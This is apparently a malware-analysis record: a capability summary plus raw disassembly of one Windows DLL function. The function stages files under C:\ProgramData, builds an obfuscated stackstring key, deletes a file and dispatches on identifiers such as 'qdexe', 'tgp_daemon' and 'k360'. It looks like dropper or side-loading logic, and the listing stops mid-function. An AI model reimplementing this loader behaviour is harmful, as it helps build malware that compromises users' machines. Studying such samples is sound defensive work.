Function at 0x1800039b0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Delete file
Find taskbar
Get common file path
Get file attributes
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2480]
mov eax, 0x2580
call fcn.180017690
sub rsp, rax
movaps xmmword [rsp + 0x2570], xmm6
movaps xmmword [rsp + 0x2560], xmm7
lea rdx, [rbp + 0x1e30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rcx, [rbp + 0xe8]
call fcn.1800031d0
nop
lea rcx, [rbp + 0x280]
call fcn.1800031d0
nop
xor r13d, r13d
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
lea r8d, [r13 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x70]
call fcn.180009410
nop
lea r8d, [r13 + 1]
lea rdx, [0x18004bed8]
lea rcx, [rsp + 0x70]
call fcn.18000ba60
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea r8d, [r13 + 6]
lea rdx, str.config
lea rcx, [rsp + 0x50]
call fcn.18000ba60
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3c0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180003b07
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057e7
call fcn.180016df8
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180003b5c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057ed
call fcn.180016df8
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov qword [rbp - 0x10], r13
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x10]
call fcn.180009410
nop
mov r8d, 1
lea rdx, [0x18004bed8]
lea rcx, [rbp - 0x10]
call fcn.18000ba60
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 8
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp + 0x68]
call fcn.18000ba60
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r8d, 1
lea rdx, [0x18004bed8]
lea rcx, [rbp + 0x88]
call fcn.18000ba60
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 8
cmovae rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x290]
lea rcx, [rsp + 0x30]
call fcn.18000ba60
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp - 0x70]
call fcn.18000ba60
mov qword [rbp + 0x240], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x250], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x180003d68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057f3
call fcn.180016df8
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180003dbb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003db6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057f9
call fcn.180016df8
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r13w
mov rdx, qword [rbp + 0xa0]
cmp rdx, 8
jb 0x180003e15
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057ff
call fcn.180016df8
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], 7
mov word [rbp + 0x88], r13w
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x180003e72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005805
call fcn.180016df8
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], 7
mov word [rbp + 0x68], r13w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x180003ec6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000580b
call fcn.180016df8
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r13w
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x30]
call fcn.180009410
nop
mov r8d, 1
lea rdx, [0x18004bed8]
lea rcx, [rbp - 0x30]
call fcn.18000ba60
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 8
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rsp + 0x50]
call fcn.18000ba60
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180003fea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003fe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005811
call fcn.180016df8
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x18000403e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004039
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005817
call fcn.180016df8
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x180004092
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000408d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000581d
call fcn.180016df8
lea r8, [rbp + 0x240]
cmp qword [rbp + 0x258], 8
cmovae r8, qword [rbp + 0x240]
lea rdx, [0x18004beec]
lea rcx, [rbp + 0xdb0]
call fcn.18000a2e0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], r13w
lea rax, [rbp + 0xdb0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1800040e0
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x10]
call fcn.180009410
nop
lea rdx, [rbp + 0x10]
mov r10, qword [rbp + 0x10]
mov r11, qword [rbp + 0x28]
cmp r11, 8
cmovae rdx, r10
mov r9, qword [rbp + 0x20]
test r9, r9
je 0x18000414e
lea rcx, [r9 - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rdx + rax*2]
cmp word [r8], 0x5c
je 0x180004146
cmp r8, rdx
je 0x18000414e
sub r8, 2
cmp word [r8], 0x5c
jne 0x180004136
sub r8, rdx
sar r8, 1
jmp 0x180004155
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r13w
inc r8
cmp r9, r8
cmovb r8, r9
lea rdx, [rbp + 0x10]
cmp r11, 8
cmovae rdx, r10
lea rcx, [rbp - 0x30]
call fcn.180009410
nop
mov r8d, 0x12
lea rdx, str.mhRCPlayer_dll.dll
lea rcx, [rbp - 0x30]
call fcn.18000ba60
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x1800041f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800041f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005823
call fcn.180016df8
movups xmmword [rbp + 0x10], xmm6
movups xmmword [rbp + 0x20], xmm7
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x18000423f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000423a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005829
call fcn.180016df8
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae r8, qword [rbp + 0x10]
lea rdx, [0x18004beec]
lea rcx, [rbp + 0x2250]
call fcn.18000a2e0
mov qword [rbp + 0xc8], r13
movdqa xmm0, xmmword [0x18004c8f0]
movdqu xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xc8], r13w
mov qword [rbp + 0xa8], r13
movdqu xmmword [rbp + 0xb8], xmm0
mov word [rbp + 0xa8], r13w
mov qword [rbp + 0x220], r13
movdqu xmmword [rbp + 0x230], xmm0
mov word [rbp + 0x220], r13w
mov qword [rbp + 0x200], r13
movdqu xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x200], r13w
mov qword [rbp + 0x1e0], r13
movdqu xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x1e0], r13w
mov qword [rbp + 0x260], r13
movdqu xmmword [rbp + 0x270], xmm0
mov word [rbp + 0x260], r13w
mov qword [rbp + 0x1c0], r13
movdqu xmmword [rbp + 0x1d0], xmm0
mov word [rbp + 0x1c0], r13w
mov qword [rbp + 0x68], r13
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0x68], r13w
lea rcx, [rbp + 0x670]
call fcn.180008510
nop
mov qword [rsp + 0x30], r13
mov byte [rsp + 0x38], 1
mov word [rsp + 0x3a], r13w
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x6b8]
mov qword [rbp - 0x70], rax
test rax, rax
sete byte [rbp - 0x68]
mov word [rbp - 0x66], r13w
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r13
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x30], xmm1
lea rax, [rbp + 0x30]
mov qword [rbp + 0x24d0], rax
mov r12d, 0xffff
movzx r14d, word [rsp + 0x3a]
movzx esi, byte [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
movzx r15d, byte [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
test sil, sil
jne 0x1800043e8
test rbx, rbx
je 0x1800043e2
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800043c8
mov rax, qword [rbx + 0x50]
cmp dword [rax], 0
jle 0x1800043c8
movzx eax, word [rcx]
jmp 0x1800043d1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x30]
cmp r12w, ax
je 0x1800043e2
movzx r14d, ax
mov word [rsp + 0x3a], ax
jmp 0x1800043e5
mov rbx, r13
mov sil, 1
test r15b, r15b
jne 0x180004421
test rdi, rdi
je 0x18000441b
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000440c
mov rax, qword [rdi + 0x50]
cmp dword [rax], 0
jle 0x18000440c
movzx eax, word [rcx]
jmp 0x180004415
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x30]
cmp r12w, ax
jne 0x18000441e
mov rdi, r13
mov r15b, 1
test rbx, rbx
jne 0x18000474b
test rdi, rdi
jne 0x180004754
lea rcx, [rbp + 0x670]
call fcn.180008470
lea rcx, [0x1800570a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov edx, 0xc
lea rcx, [rsp + 0x70]
call fcn.18000b880
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call fcn.180018f40
lea rax, [rbx + 0xc]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.180003060
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r13w
mov rbx, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x30]
mov rdx, rbx
sub rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.180008870
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.18000d950
nop
lea rdx, str.__w__________________
lea rcx, [rbp + 0x310]
call fcn.180007580
nop
mov qword [rbp + 0x340], r13
mov byte [rbp + 0x348], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x350], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x360], xmm1
mov qword [rbp + 0x370], r13
mov byte [rbp + 0x378], 0
movdqa xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x390], 0
mov qword [rbp + 0x398], r13
mov qword [rbp + 0x3a0], r13
mov byte [rbp + 0x3a8], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
lea rdx, [rdx + rax*2]
lea rax, [rbp + 0x48]
cmovae rax, qword [rbp + 0x48]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
lea rcx, [rbp + 0x310]
mov qword [rbp + 0x120], rcx
mov dword [rbp + 0x128], r13d
mov qword [rbp + 0x130], r13
mov byte [rbp + 0x138], 0
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x150], xmm1
mov qword [rbp + 0x160], r13
mov byte [rbp + 0x168], 0
movdqa xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x180], 0
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], r13
mov byte [rbp + 0x198], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x310]
lea r8, [rbp + 0x130]
mov rcx, rax
call fcn.18000a340
mov r12, qword [rbp + 0x120]
test al, al
cmove r12, r13
mov qword [rbp + 0x120], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], r13
mov qword [rbp + 0x3f0], r13
mov byte [rbp + 0x3f8], 0
movdqa xmmword [rbp + 0x400], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x410], xmm1
mov qword [rbp + 0x420], r13
mov byte [rbp + 0x428], 0
movdqa xmmword [rbp + 0x430], xmm0
mov byte [rbp + 0x440], 0
mov qword [rbp + 0x448], r13
mov qword [rbp + 0x450], r13
mov byte [rbp + 0x458], 0
mov r13d, 0xa
mov r14, qword [rbp + 0x148]
mov r15, qword [rbp + 0x140]
movabs rdx, 0xaaaaaaaaaaaaaaab
nop
test r12, r12
sete al
test al, al
jne 0x180004e30
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x2a0], rax
movzx eax, byte [rbp + 0x138]
mov byte [rbp + 0x2a8], al
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2b0], xmm0
xor ecx, ecx
mov esi, ecx
mov qword [rbp + 0x2c0], rcx
cmp r15, r14
je 0x18000481a
mov rbx, r14
sub rbx, r15
sar rbx, 3
imul rbx, rdx
mov rdx, rbx
call fcn.180009750
mov rdi, rax
mov qword [rbp + 0x2b0], rax
lea rax, [rbx + rbx*2]
lea rsi, [rdi + rax*8]
mov qword [rbp + 0x2c0], rsi
mov rax, rdi
mov rcx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movsd xmm1, qword [rcx + 0x10]
movsd qword [rax + 0x10], xmm1
add rax, 0x18
add rcx, 0x18
cmp rcx, r14
jne 0x180004720
mov qword [rbp + 0x2b8], rax
xor ecx, ecx
jmp 0x180004828
test rdi, rdi
jne 0x180004433
test sil, sil
jne 0x180004795
test rbx, rbx
je 0x180004792
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x180004778
mov rax, qword [rbx + 0x50]
cmp dword [rax], 0
jle 0x180004778
movzx eax, word [rcx]
jmp 0x180004781
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x30]
cmp r12w, ax
je 0x180004792
movzx r14d, ax
mov word [rsp + 0x3a], ax
jmp 0x180004795
mov rbx, r13
mov word [rbp + 0x24c8], r14w
mov rcx, qword [rbp + 0x38]
cmp rcx, qword [rbp + 0x40]
je 0x1800047b4
movzx eax, byte [rsp + 0x3a]
mov byte [rcx], al
inc qword [rbp + 0x38]
jmp 0x1800047c8
lea r8, [rbp + 0x24c8]
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x30]
call fcn.18000e8b0
test rbx, rbx
je 0x18000480f
mov rax, qword [rbx + 0x38]
cmp qword [rax], 0
je 0x1800047f8
mov rcx, qword [rbx + 0x50]
mov eax, dword [rcx]
test eax, eax
jle 0x1800047f8
dec eax
mov dword [rcx], eax
mov rcx, qword [rbx + 0x38]
mov rdx, qword [rcx]
lea rax, [rdx + 2]
mov qword [rcx], rax
movzx eax, word [rdx]
jmp 0x180004801
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp r12w, ax
je 0x18000480f
xor sil, sil
jmp 0x1800043a4
mov rbx, r13
mov sil, 1
jmp 0x1800043a4
mov rax, qword [rbp + 0x2b8]
mov rdi, qword [rbp + 0x2b0]
movups xmm0, xmmword [rbp + 0x158]
movups xmmword [rbp + 0x2c8], xmm0
movsd xmm1, qword [rbp + 0x168]
movsd qword [rbp + 0x2d8], xmm1
movaps xmm0, xmmword [rbp + 0x170]
movaps xmmword [rbp + 0x2e0], xmm0
movsd xmm1, qword [rbp + 0x180]
movsd qword [rbp + 0x2f0], xmm1
movups xmm0, xmmword [rbp + 0x188]
movups xmmword [rbp + 0x2f8], xmm0
movsd xmm1, qword [rbp + 0x198]
movsd qword [rbp + 0x308], xmm1
sub rax, rdi
cmp rax, 0x60
jne 0x180004d0e
cmp byte [rdi + 0x28], 0
je 0x18000489f
movups xmm0, xmmword [rdi + 0x18]
movups xmmword [rbp - 0x70], xmm0
jmp 0x1800048a7
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], cx
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
cmp rdx, r8
je 0x1800048de
sub r8, rdx
sar r8, 1
lea rcx, [rsp + 0x50]
call fcn.180009410
xor ecx, ecx
cmp byte [rdi + 0x40], 0
je 0x1800048ee
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rbp - 0x70], xmm0
jmp 0x1800048f6
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], cx
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
cmp rdx, r8
je 0x18000492d
sub r8, rdx
sar r8, 1
lea rcx, [rsp + 0x30]
call fcn.180009410
xor ecx, ecx
cmp byte [rdi + 0x58], 0
je 0x18000493d
movups xmm0, xmmword [rdi + 0x48]
movups xmmword [rbp - 0x70], xmm0
jmp 0x180004945
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], rcx
mov ebx, 7
mov qword [rbp - 0x18], rbx
mov word [rbp - 0x30], cx
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
cmp rdx, r8
je 0x18000497a
sub r8, rdx
sar r8, 1
lea rcx, [rbp - 0x30]
call fcn.180009410
mov rbx, qword [rbp - 0x18]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x1800559a0]
call fcn.180009c60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.18000bd60
mov rcx, rax
lea rdx, [0x18004bf64]
call fcn.180009c60
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x60]
cmp r9, 5
jne 0x180004a06
mov rdx, r9
lea rax, str.qddll
mov rcx, rax
sub r8, rax
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x180004a06
add rcx, 2
sub rdx, 1
jne 0x1800049e6
lea rcx, [rbp + 0xa8]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 5
jne 0x180004a50
mov rdx, r9
lea rax, str.qdexe
mov rcx, rax
sub r8, rax
nop dword [rax]
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x180004a50
add rcx, 2
sub rdx, 1
jne 0x180004a30
lea rcx, [rbp + 0xc8]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 3
jne 0x180004aa0
mov rdx, r9
lea rax, [0x18004bfd0]
mov rcx, rax
sub r8, rax
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x180004aa0
add rcx, 2
sub rdx, 1
jne 0x180004a80
lea rcx, [rbp + 0x220]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 2
jne 0x180004af0
mov rdx, r9
lea rax, [0x18004bfd8]
mov rcx, rax
sub r8, rax
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x180004af0
add rcx, 2
sub rdx, 1
jne 0x180004ad0
lea rcx, [rbp + 0x200]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 0xa
jne 0x180004b40
mov rdx, r13
lea rax, str.tgp_daemon
mov rcx, rax
sub r8, rax
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x180004b40
add rcx, 2
sub rdx, 1
jne 0x180004b20
lea rcx, [rbp + 0x1e0]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 8
jne 0x180004b90
mov rdx, r9
lea rax, str.msvcp100
mov rcx, rax
sub r8, rax
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x180004b90
add rcx, 2
sub rdx, 1
jne 0x180004b70
lea rcx, [rbp + 0x260]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 8
jne 0x180004bdd
mov rdx, r9
lea rax, str.msvcr100
mov rcx, rax
sub r8, rax
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x180004bdd
add rcx, 2
sub rdx, 1
jne 0x180004bc0
lea rcx, [rbp + 0x1c0]
jmp 0x180004c1c
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r8, qword [rsp + 0x50]
cmp r9, 4
jne 0x180004c38
mov rdx, r9
lea rax, str.k360
mov rcx, rax
sub r8, rax
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x180004c38
add rcx, 2
sub rdx, 1
jne 0x180004c04
lea rcx, [rbp + 0x68]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
mov r8, qword [rsp + 0x40]
cmovae rdx, qword [rsp + 0x30]
call fcn.180009410
nop
cmp rbx, 8
jb 0x180004c75
lea rdx, [rbx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000582f
call fcn.180016df8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180004cb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004cb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005835
call fcn.180016df8
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], ax
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180004d0e
